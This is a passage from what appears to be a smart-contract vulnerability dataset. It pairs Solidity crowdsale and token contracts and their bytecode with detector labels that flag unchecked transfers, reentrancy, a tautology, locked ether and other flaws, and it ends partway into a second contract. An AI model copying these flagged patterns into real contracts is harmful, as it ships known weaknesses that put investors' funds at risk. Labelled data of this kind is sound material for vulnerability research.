function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract CRYPTORIYA is MintableToken {
string public constant name = "CRYPTORIYA";
string public constant symbol = "CIYA";
uint32 public constant decimals = 18;
mapping (address => uint) public locked;
function transfer(address _to, uint256 _value) public returns (bool) {
require(locked[msg.sender] < now);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(locked[_from] < now);
return super.transferFrom(_from, _to, _value);
}
function lock(address addr, uint periodInDays) public {
require(locked[addr] < now && (msg.sender == saleAgent || msg.sender == addr));
locked[addr] = now + periodInDays * 1 days;
}
}
contract StagedCrowdsale is Pausable {
using SafeMath for uint;
struct Stage {
uint hardcap;
uint price;
uint invested;
uint closed;
}
uint public start;
uint public period;
uint public totalHardcap;
uint public totalInvested;
Stage[] public stages;
function stagesCount() public constant returns(uint) {
return stages.length;
}
function setStart(uint newStart) public onlyOwner {
start = newStart;
}
function setPeriod(uint newPeriod) public onlyOwner {
period = newPeriod;
}
function addStage(uint hardcap, uint price) public onlyOwner {
require(hardcap > 0 && price > 0);
Stage memory stage = Stage(hardcap.mul(1 ether), price, 0, 0);
stages.push(stage);
totalHardcap = totalHardcap.add(stage.hardcap);
}
function removeStage(uint8 number) public onlyOwner {
require(number >=0 && number < stages.length);
Stage storage stage = stages[number];
totalHardcap = totalHardcap.sub(stage.hardcap);
delete stages[number];
for (uint i = number; i < stages.length - 1; i++) {
stages[i] = stages[i+1];
}
stages.length--;
}
function changeStage(uint8 number, uint hardcap, uint price) public onlyOwner {
require(number >= 0 &&number < stages.length);
Stage storage stage = stages[number];
totalHardcap = totalHardcap.sub(stage.hardcap);
stage.hardcap = hardcap.mul(1 ether);
stage.price = price;
totalHardcap = totalHardcap.add(stage.hardcap);
}
function insertStage(uint8 numberAfter, uint hardcap, uint price) public onlyOwner {
require(numberAfter < stages.length);
Stage memory stage = Stage(hardcap.mul(1 ether), price, 0, 0);
totalHardcap = totalHardcap.add(stage.hardcap);
stages.length++;
for (uint i = stages.length - 2; i > numberAfter; i--) {
stages[i + 1] = stages[i];
}
stages[numberAfter + 1] = stage;
}
function clearStages() public onlyOwner {
for (uint i = 0; i < stages.length; i++) {
delete stages[i];
}
stages.length -= stages.length;
totalHardcap = 0;
}
function lastSaleDate() public constant returns(uint) {
return start + period * 1 days;
}
modifier saleIsOn() {
require(stages.length > 0 && now >= start && now < lastSaleDate());
_;
}
modifier isUnderHardcap() {
require(totalInvested <= totalHardcap);
_;
}
function currentStage() public saleIsOn isUnderHardcap constant returns(uint) {
for(uint i=0; i < stages.length; i++) {
if(stages[i].closed == 0) {
return i;
}
}
revert();
}
}
contract CommonSale is StagedCrowdsale {
address public masterWallet;
address public slaveWallet;
address public directMintAgent;
uint public slaveWalletPercent = 30;
uint public percentRate = 100;
uint public minPrice;
uint public totalTokensMinted;
bool public slaveWalletInitialized;
bool public slaveWalletPercentInitialized;
CRYPTORIYA public token;
modifier onlyDirectMintAgentOrOwner() {
require(directMintAgent == msg.sender || owner == msg.sender);
_;
}
function setDirectMintAgent(address newDirectMintAgent) public onlyOwner {
directMintAgent = newDirectMintAgent;
}
function setMinPrice(uint newMinPrice) public onlyOwner {
minPrice = newMinPrice;
}
function setSlaveWalletPercent(uint newSlaveWalletPercent) public onlyOwner {
require(!slaveWalletPercentInitialized);
slaveWalletPercent = newSlaveWalletPercent;
slaveWalletPercentInitialized = true;
}
function setMasterWallet(address newMasterWallet) public onlyOwner {
masterWallet = newMasterWallet;
}
function setSlaveWallet(address newSlaveWallet) public onlyOwner {
require(!slaveWalletInitialized);
slaveWallet = newSlaveWallet;
slaveWalletInitialized = true;
}
function setToken(address newToken) public onlyOwner {
token = CRYPTORIYA(newToken);
}
function directMint(address to, uint investedWei) public onlyDirectMintAgentOrOwner saleIsOn {
mintTokens(to, investedWei);
}
function createTokens() public whenNotPaused payable {
require(msg.value >= minPrice);
uint masterValue = msg.value.mul(percentRate.sub(slaveWalletPercent)).div(percentRate);
uint slaveValue = msg.value.sub(masterValue);
masterWallet.transfer(masterValue);
slaveWallet.transfer(slaveValue);
mintTokens(msg.sender, msg.value);
}
function mintTokens(address to, uint weiInvested) internal {
uint stageIndex = currentStage();
Stage storage stage = stages[stageIndex];
uint tokens = weiInvested.mul(stage.price);
token.mint(this, tokens);
token.transfer(to, tokens);
totalTokensMinted = totalTokensMinted.add(tokens);
totalInvested = totalInvested.add(weiInvested);
stage.invested = stage.invested.add(weiInvested);
if(stage.invested >= stage.hardcap) {
stage.closed = now;
}
}
function() external payable {
createTokens();
}
function retrieveTokens(address anotherToken, address to) public onlyOwner {
ERC20 alienToken = ERC20(anotherToken);
alienToken.transfer(to, alienToken.balanceOf(this));
}
}
contract Presale is CommonSale {
Mainsale public mainsale;
function setMainsale(address newMainsale) public onlyOwner {
mainsale = Mainsale(newMainsale);
}
function finishMinting() public whenNotPaused onlyOwner {
token.setSaleAgent(mainsale);
}
function() external payable {
createTokens();
}
}
contract Mainsale is CommonSale {
address public foundersTokensWallet;
address public bountyTokensWallet;
uint public foundersTokensPercent;
uint public bountyTokensPercent;
uint public lockPeriod;
function setLockPeriod(uint newLockPeriod) public onlyOwner {
lockPeriod = newLockPeriod;
}
function setFoundersTokensPercent(uint newFoundersTokensPercent) public onlyOwner {
foundersTokensPercent = newFoundersTokensPercent;
}
function setBountyTokensPercent(uint newBountyTokensPercent) public onlyOwner {
bountyTokensPercent = newBountyTokensPercent;
}
function setFoundersTokensWallet(address newFoundersTokensWallet) public onlyOwner {
foundersTokensWallet = newFoundersTokensWallet;
}
function setBountyTokensWallet(address newBountyTokensWallet) public onlyOwner {
bountyTokensWallet = newBountyTokensWallet;
}
function finishMinting() public whenNotPaused onlyOwner {
uint summaryTokensPercent = bountyTokensPercent + foundersTokensPercent;
uint mintedTokens = token.totalSupply();
uint totalSupply = mintedTokens.mul(percentRate).div(percentRate.sub(summaryTokensPercent));
uint foundersTokens = totalSupply.mul(foundersTokensPercent).div(percentRate);
uint bountyTokens = totalSupply.mul(bountyTokensPercent).div(percentRate);
token.mint(this, foundersTokens);
token.transfer(foundersTokensWallet, foundersTokens);
token.mint(this, bountyTokens);
token.transfer(bountyTokensWallet, bountyTokens);
totalTokensMinted = totalTokensMinted.add(foundersTokens).add(bountyTokens);
token.finishMinting();
}
} | 0x606060405260043610610204576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630f3a9f651461020e578063144fa6d7146102315780631f2e97c81461026a578063258108da1461029757806329dd0b86146102c05780632f8bd891146102e95780633806422a1461032b5780633f4ba83a146103545780635216aeec146103695780635bf5d54c146103925780635c975abb146103bb5780635ea8cd12146103e85780636341ca0b1461040b5780636abc3fe4146104635780636e8add02146104b85780636ed0b9d7146104f1578063769ffb7d14610529578063798c6e0f146105625780637d549e99146105775780637d64bcb4146105a05780638090114f146105b55780638456cb59146105de578063845ddcb2146105f35780638da5cb5b1461063f5780639f49cefb14610694578063a6c7bf8a146106c0578063b27b7dd1146106f9578063b44272631461071f578063b557c9a414610729578063be9a655514610756578063c77750111461077f578063e0a0f50d146107b8578063e45be8eb146107db578063eb8ba66c14610804578063ef78d4fd1461083c578063f2fde38b14610865578063f6a03ebf1461089e578063f6a3b1dd146108c1578063f6fc96ad146108ea578063fc0c546a1461093f578063fc0d011714610994578063feda1045146109e9575b61020c610a3e565b005b341561021957600080fd5b61022f6004808035906020019091905050610b94565b005b341561023c57600080fd5b610268600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610bf9565b005b341561027557600080fd5b61027d610c98565b604051808215151515815260200191505060405180910390f35b34156102a257600080fd5b6102aa610cab565b6040518082815260200191505060405180910390f35b34156102cb57600080fd5b6102d3610cb1565b6040518082815260200191505060405180910390f35b34156102f457600080fd5b610329600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610cc4565b005b341561033657600080fd5b61033e610db9565b6040518082815260200191505060405180910390f35b341561035f57600080fd5b610367610dc6565b005b341561037457600080fd5b61037c610e84565b6040518082815260200191505060405180910390f35b341561039d57600080fd5b6103a5610e8a565b6040518082815260200191505060405180910390f35b34156103c657600080fd5b6103ce610f2d565b604051808215151515815260200191505060405180910390f35b34156103f357600080fd5b6104096004808035906020019091905050610f40565b005b341561041657600080fd5b610461600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fa5565b005b341561046e57600080fd5b610476611174565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104c357600080fd5b6104ef600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061119a565b005b34156104fc57600080fd5b610527600480803560ff16906020019091908035906020019091908035906020019091905050611239565b005b341561053457600080fd5b610560600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061134e565b005b341561056d57600080fd5b6105756113ed565b005b341561058257600080fd5b61058a6114d1565b6040518082815260200191505060405180910390f35b34156105ab57600080fd5b6105b36114d7565b005b34156105c057600080fd5b6105c861163e565b6040518082815260200191505060405180910390f35b34156105e957600080fd5b6105f1611644565b005b34156105fe57600080fd5b6106146004808035906020019091905050611704565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b341561064a57600080fd5b610652611743565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561069f57600080fd5b6106be6004808035906020019091908035906020019091905050611768565b005b34156106cb57600080fd5b6106f7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061189f565b005b341561070457600080fd5b61071d600480803560ff1690602001909190505061193e565b005b610727610a3e565b005b341561073457600080fd5b61073c611aed565b604051808215151515815260200191505060405180910390f35b341561076157600080fd5b610769611b00565b6040518082815260200191505060405180910390f35b341561078a57600080fd5b6107b6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b06565b005b34156107c357600080fd5b6107d96004808035906020019091905050611bdc565b005b34156107e657600080fd5b6107ee611c78565b6040518082815260200191505060405180910390f35b341561080f57600080fd5b61083a600480803560ff16906020019091908035906020019091908035906020019091905050611c7e565b005b341561084757600080fd5b61084f611e50565b6040518082815260200191505060405180910390f35b341561087057600080fd5b61089c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611e56565b005b34156108a957600080fd5b6108bf6004808035906020019091905050611fab565b005b34156108cc57600080fd5b6108d4612010565b6040518082815260200191505060405180910390f35b34156108f557600080fd5b6108fd612016565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561094a57600080fd5b61095261203c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561099f57600080fd5b6109a7612062565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156109f457600080fd5b6109fc612088565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600080600060149054906101000a900460ff16151515610a5d57600080fd5b600b543410151515610a6e57600080fd5b610aab600a54610a9d610a8e600954600a546120ae90919063ffffffff16565b346120c790919063ffffffff16565b6120fa90919063ffffffff16565b9150610ac082346120ae90919063ffffffff16565b9050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501515610b2457600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610b8657600080fd5b610b903334612115565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bef57600080fd5b8060028190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c5457600080fd5b80600d60026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600d60019054906101000a900460ff1681565b60095481565b6000620151806002540260015401905090565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610d6c57503373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b1515610d7757600080fd5b6000600580549050118015610d8e57506001544210155b8015610da05750610d9d610cb1565b42105b1515610dab57600080fd5b610db58282612115565b5050565b6000600580549050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e2157600080fd5b600060149054906101000a900460ff161515610e3c57600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60045481565b6000806000600580549050118015610ea457506001544210155b8015610eb65750610eb3610cb1565b42105b1515610ec157600080fd5b60035460045411151515610ed457600080fd5b600090505b600580549050811015610f24576000600582815481101515610ef757fe5b9060005260206000209060040201600301541415610f1757809150610f29565b8080600101915050610ed9565b600080fd5b5090565b600060149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f9b57600080fd5b80600b8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561100257600080fd5b8290508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb838373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156110bc57600080fd5b5af115156110c957600080fd5b505050604051805190506040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561115757600080fd5b5af1151561116457600080fd5b5050506040518051905050505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111f557600080fd5b80600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561129657600080fd5b60008460ff16101580156112b157506005805490508460ff16105b15156112bc57600080fd5b60058460ff168154811015156112ce57fe5b906000526020600020906004020190506112f781600001546003546120ae90919063ffffffff16565b600381905550611318670de0b6b3a7640000846120c790919063ffffffff16565b8160000181905550818160010181905550611342816000015460035461238b90919063ffffffff16565b60038190555050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113a957600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561144a57600080fd5b600090505b6005805490508110156114a95760058181548110151561146b57fe5b90600052602060002090600402016000808201600090556001820160009055600282016000905560038201600090555050808060010191505061144f565b6005805490506005818180549050039150816114c591906123a9565b50600060038190555050565b600c5481565b600060149054906101000a900460ff161515156114f357600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561154e57600080fd5b600d60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314133a7c600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b151561162c57600080fd5b5af1151561163957600080fd5b505050565b600a5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561169f57600080fd5b600060149054906101000a900460ff161515156116bb57600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60058181548110151561171357fe5b90600052602060002090600402016000915090508060000154908060010154908060020154908060030154905084565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6117706123db565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117cb57600080fd5b6000831180156117db5750600082115b15156117e657600080fd5b60806040519081016040528061180d670de0b6b3a7640000866120c790919063ffffffff16565b815260200183815260200160008152602001600081525090506005805480600101828161183a9190612404565b9160005260206000209060040201600083909190915060008201518160000155602082015181600101556040820151816002015560608201518160030155505050611894816000015160035461238b90919063ffffffff16565b600381905550505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118fa57600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561199c57600080fd5b60008360ff16101580156119b757506005805490508360ff16105b15156119c257600080fd5b60058360ff168154811015156119d457fe5b906000526020600020906004020191506119fd82600001546003546120ae90919063ffffffff16565b60038190555060058360ff16815481101515611a1557fe5b906000526020600020906004020160008082016000905560018201600090556002820160009055600382016000905550508260ff1690505b600160058054905003811015611ad257600560018201815481101515611a6f57fe5b9060005260206000209060040201600582815481101515611a8c57fe5b9060005260206000209060040201600082015481600001556001820154816001015560028201548160020155600382015481600301559050508080600101915050611a4d565b6005805480919060019003611ae791906123a9565b50505050565b600d60009054906101000a900460ff1681565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b6157600080fd5b600d60009054906101000a900460ff16151515611b7d57600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600d60006101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c3757600080fd5b600d60019054906101000a900460ff16151515611c5357600080fd5b806009819055506001600d60016101000a81548160ff02191690831515021790555050565b600b5481565b611c866123db565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ce357600080fd5b6005805490508560ff16101515611cf957600080fd5b608060405190810160405280611d20670de0b6b3a7640000876120c790919063ffffffff16565b81526020018481526020016000815260200160008152509150611d52826000015160035461238b90919063ffffffff16565b60038190555060058054809190600101611d6c91906123a9565b5060026005805490500390505b8460ff16811115611dfa57600581815481101515611d9357fe5b9060005260206000209060040201600560018301815481101515611db357fe5b906000526020600020906004020160008201548160000155600182015481600101556002820154816002015560038201548160030155905050808060019003915050611d79565b8160056001870160ff16815481101515611e1057fe5b9060005260206000209060040201600082015181600001556020820151816001015560408201518160020155606082015181600301559050505050505050565b60025481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611eb157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611eed57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561200657600080fd5b8060018190555050565b60035481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008282111515156120bc57fe5b818303905092915050565b600080828402905060008414806120e857508284828115156120e557fe5b04145b15156120f057fe5b8091505092915050565b600080828481151561210857fe5b0490508091505092915050565b6000806000612122610e8a565b925060058381548110151561213357fe5b9060005260206000209060040201915061215a8260010154856120c790919063ffffffff16565b9050600d60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1930836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561222057600080fd5b5af1151561222d57600080fd5b5050506040518051905050600d60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb86836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156122fc57600080fd5b5af1151561230957600080fd5b505050604051805190505061232981600c5461238b90919063ffffffff16565b600c819055506123448460045461238b90919063ffffffff16565b60048190555061236184836002015461238b90919063ffffffff16565b826002018190555081600001548260020154101515612384574282600301819055505b5050505050565b600080828401905083811015151561239f57fe5b8091505092915050565b8154818355818115116123d6576004028160040283600052602060002091820191016123d59190612436565b5b505050565b608060405190810160405280600081526020016000815260200160008152602001600081525090565b815481835581811511612431576004028160040283600052602060002091820191016124309190612436565b5b505050565b61247291905b8082111561246e576000808201600090556001820160009055600282016000905560038201600090555060040161243c565b5090565b905600a165627a7a7230582008ea94a9548b0074ef417898206347599d82c407618f09d64d1b6d06455135440029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 1,910 |
0x230c018122e0e101e57889c4a067787678bcf853 | pragma solidity 0.4.24;
// File: contracts\safe_math_lib.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: contracts\database.sol
contract database {
/* libraries */
using SafeMath for uint256;
/* struct declarations */
struct participant {
address eth_address; // your eth address
uint256 topl_address; // your topl address
uint256 arbits; // the amount of a arbits you have
uint256 num_of_pro_rata_tokens_alloted;
bool arbits_kyc_whitelist; // if you pass arbits level kyc you get this
uint8 num_of_uses;
}
/* variable declarations */
// permission variables
mapping(address => bool) public sale_owners;
mapping(address => bool) public owners;
mapping(address => bool) public masters;
mapping(address => bool) public kycers;
// database mapping
mapping(address => participant) public participants;
address[] public participant_keys;
// sale open variables
bool public arbits_presale_open = false; // Presale variables
bool public iconiq_presale_open = false; // ^^^^^^^^^^^^^^^^^
bool public arbits_sale_open = false; // Main sale variables
// sale state variables
uint256 public pre_kyc_bonus_denominator;
uint256 public pre_kyc_bonus_numerator;
uint256 public pre_kyc_iconiq_bonus_denominator;
uint256 public pre_kyc_iconiq_bonus_numerator;
uint256 public contrib_arbits_min;
uint256 public contrib_arbits_max;
// presale variables
uint256 public presale_arbits_per_ether; // two different prices, but same cap
uint256 public presale_iconiq_arbits_per_ether; // and sold values
uint256 public presale_arbits_total = 18000000;
uint256 public presale_arbits_sold;
// main sale variables
uint256 public sale_arbits_per_ether;
uint256 public sale_arbits_total;
uint256 public sale_arbits_sold;
/* constructor */
constructor() public {
owners[msg.sender] = true;
}
/* permission functions */
function add_owner(address __subject) public only_owner {
owners[__subject] = true;
}
function remove_owner(address __subject) public only_owner {
owners[__subject] = false;
}
function add_master(address _subject) public only_owner {
masters[_subject] = true;
}
function remove_master(address _subject) public only_owner {
masters[_subject] = false;
}
function add_kycer(address _subject) public only_owner {
kycers[_subject] = true;
}
function remove_kycer(address _subject) public only_owner {
kycers[_subject] = false;
}
/* modifiers */
modifier log_participant_update(address __eth_address) {
participant_keys.push(__eth_address); // logs the given address in participant_keys
_;
}
modifier only_owner() {
require(owners[msg.sender]);
_;
}
modifier only_kycer() {
require(kycers[msg.sender]);
_;
}
modifier only_master_or_owner() {
require(masters[msg.sender] || owners[msg.sender]);
_;
}
/* database functions */
// GENERAL VARIABLE getters & setters
// getters
function get_sale_owner(address _a) public view returns(bool) {
return sale_owners[_a];
}
function get_contrib_arbits_min() public view returns(uint256) {
return contrib_arbits_min;
}
function get_contrib_arbits_max() public view returns(uint256) {
return contrib_arbits_max;
}
function get_pre_kyc_bonus_numerator() public view returns(uint256) {
return pre_kyc_bonus_numerator;
}
function get_pre_kyc_bonus_denominator() public view returns(uint256) {
return pre_kyc_bonus_denominator;
}
function get_pre_kyc_iconiq_bonus_numerator() public view returns(uint256) {
return pre_kyc_iconiq_bonus_numerator;
}
function get_pre_kyc_iconiq_bonus_denominator() public view returns(uint256) {
return pre_kyc_iconiq_bonus_denominator;
}
function get_presale_iconiq_arbits_per_ether() public view returns(uint256) {
return (presale_iconiq_arbits_per_ether);
}
function get_presale_arbits_per_ether() public view returns(uint256) {
return (presale_arbits_per_ether);
}
function get_presale_arbits_total() public view returns(uint256) {
return (presale_arbits_total);
}
function get_presale_arbits_sold() public view returns(uint256) {
return (presale_arbits_sold);
}
function get_sale_arbits_per_ether() public view returns(uint256) {
return (sale_arbits_per_ether);
}
function get_sale_arbits_total() public view returns(uint256) {
return (sale_arbits_total);
}
function get_sale_arbits_sold() public view returns(uint256) {
return (sale_arbits_sold);
}
// setters
function set_sale_owner(address _a, bool _v) public only_master_or_owner {
sale_owners[_a] = _v;
}
function set_contrib_arbits_min(uint256 _v) public only_master_or_owner {
contrib_arbits_min = _v;
}
function set_contrib_arbits_max(uint256 _v) public only_master_or_owner {
contrib_arbits_max = _v;
}
function set_pre_kyc_bonus_numerator(uint256 _v) public only_master_or_owner {
pre_kyc_bonus_numerator = _v;
}
function set_pre_kyc_bonus_denominator(uint256 _v) public only_master_or_owner {
pre_kyc_bonus_denominator = _v;
}
function set_pre_kyc_iconiq_bonus_numerator(uint256 _v) public only_master_or_owner {
pre_kyc_iconiq_bonus_numerator = _v;
}
function set_pre_kyc_iconiq_bonus_denominator(uint256 _v) public only_master_or_owner {
pre_kyc_iconiq_bonus_denominator = _v;
}
function set_presale_iconiq_arbits_per_ether(uint256 _v) public only_master_or_owner {
presale_iconiq_arbits_per_ether = _v;
}
function set_presale_arbits_per_ether(uint256 _v) public only_master_or_owner {
presale_arbits_per_ether = _v;
}
function set_presale_arbits_total(uint256 _v) public only_master_or_owner {
presale_arbits_total = _v;
}
function set_presale_arbits_sold(uint256 _v) public only_master_or_owner {
presale_arbits_sold = _v;
}
function set_sale_arbits_per_ether(uint256 _v) public only_master_or_owner {
sale_arbits_per_ether = _v;
}
function set_sale_arbits_total(uint256 _v) public only_master_or_owner {
